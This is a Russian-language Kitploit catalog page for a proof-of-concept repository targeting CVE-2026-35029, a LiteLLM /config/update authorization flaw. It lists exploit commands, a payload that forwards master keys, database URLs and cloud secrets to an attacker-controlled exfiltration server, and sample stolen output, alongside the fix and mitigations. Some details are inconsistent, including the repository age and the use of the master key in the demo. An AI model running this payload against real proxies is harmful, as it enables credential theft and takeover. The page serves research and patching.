Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-35029-PoC — Код для самостоятельного воспроизведения соответствующей уязвимости | Kitploit
Инструменты/GitHubGitHub/learner202649/cve-2026-35029-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

Код для самостоятельного воспроизведения соответствующей уязвимости

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-35029 — LiteLLM /config/update уязвимость несанкционированного доступа (Broken Access Control)

LiteLLM /config/update не проверяет права роли вызывающего. Любой аутентифицированный пользователь с действующим API-ключом (без прав администратора) может изменять конфигурацию прокси, регистрировать вредоносные Pass-Through эндпоинты для проведения кражи переменных окружения, чтения произвольных файлов, удалённого выполнения кода и других атак.

ПолеЗначение
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
ЗатронутоLiteLLM < 1.83.0
Исправлениеv1.83.0+ (добавлена проверка роли proxy_admin для /config/update)
Опубликовано2026-04-06
ОбнаружилTimo Müller — SEC Consult Vulnerability Lab (Munich)
Найдено2026-02-24
СсылкиGHSA-53mr-6c8q-9789 • NVD • SEC Consult

Описание

Конечная точка /config/update в LiteLLM должна была разрешать вызов только роли proxy_admin, но до v1.83.0 никакой проверки ролей не было. Любой пользователь с действующим API-ключом может вызвать эту конечную точку.

Векторы атаки

Тип атакиОписание
Кража переменных окруженияРегистрация Pass-Through эндпоинта, кража DATABASE_URL, LITELLM_MASTER_KEY и т.д. через заголовок os.environ/VAR_NAME
Чтение произвольных файловИспользование Base64-кодирования заголовков LANGFUSE_* для чтения файловой системы сервера
Изменение конфигурацииПерезапись UI_USERNAME, UI_PASSWORD для захвата учётной записи администратора
Удалённое выполнение кодаРегистрация обработчика Pass-Through эндпоинта, указывающего на Python-код злоумышленника

Воздействие

  • Пользователь с низкими привилегиями → полные права администратора
  • Утечка чувствительных переменных окружения (учётные данные БД, ключи API, облачные учётные данные)
  • Чтение произвольных файлов (конфигурационные файлы, сертификаты, файл shadow)
  • Возможно использование в цепочке с другими уязвимостями (CVE-2026-35030)

Доказательство концепции

Быстрый старт (Docker)

⚠️ Важно: файл docker-compose.yml закрепляет уязвимый образ за конкретным дайджестом (sha256:5beb4ea6...) от 24 января 2026 года. Не меняйте его на main-v1.81.0-stable или любой другой изменяемый тег — более поздние образы могут быть пересобраны с исправлениями, что нарушит воспроизводимость.

root@kitploit:~
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

Примечание: при первом запуске контейнеров подождите около 30–60 секунд (проверка работоспособности PostgreSQL + миграция базы данных Prisma), и выполняйте эксплойт только после появления в логах контейнера Uvicorn running on http://0.0.0.0:4000.

Ожидаемый вывод

Кража переменных окружения:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

Исправленная версия отклоняет доступ (при использовании не-административного ключа возвращается 403):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

Примечание: при тестировании исправленной версии с мастер-ключом (sk-litellm-master-key) обновление конфигурации по-прежнему будет возвращать HTTP 200 (мастер-ключ имеет роль proxy_admin), но регистрация Pass-Through эндпоинтов может не примениться или быть молча проигнорирована. Для проверки исправления рекомендуется использовать ключ без прав администратора.


Детали цепочки атаки

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

Среда

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Исправление

В v1.83.0 в обработчик /config/update добавлена проверка роли proxy_admin:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

Коммит: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

Меры по снижению риска

  1. Немедленно обновите LiteLLM до v1.83.0+
  2. Ограничьте сетевой доступ к конечной точке /config/update
  3. Проведите аудит использования всех API-ключей и ротацию потенциально скомпрометированных учётных данных
  4. Отслеживайте аномальные запросы на обновление конфигурации

Ссылки

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • Консультация SEC Consult
  • Подробности NVD
  • Усиление безопасности LiteLLM (апрель 2026)
  • Документация LiteLLM по Pass-Through эндпоинтам

Отказ от ответственности: Этот материал предоставлен только в образовательных целях и для авторизованного тестирования безопасности.

Скачать инструмент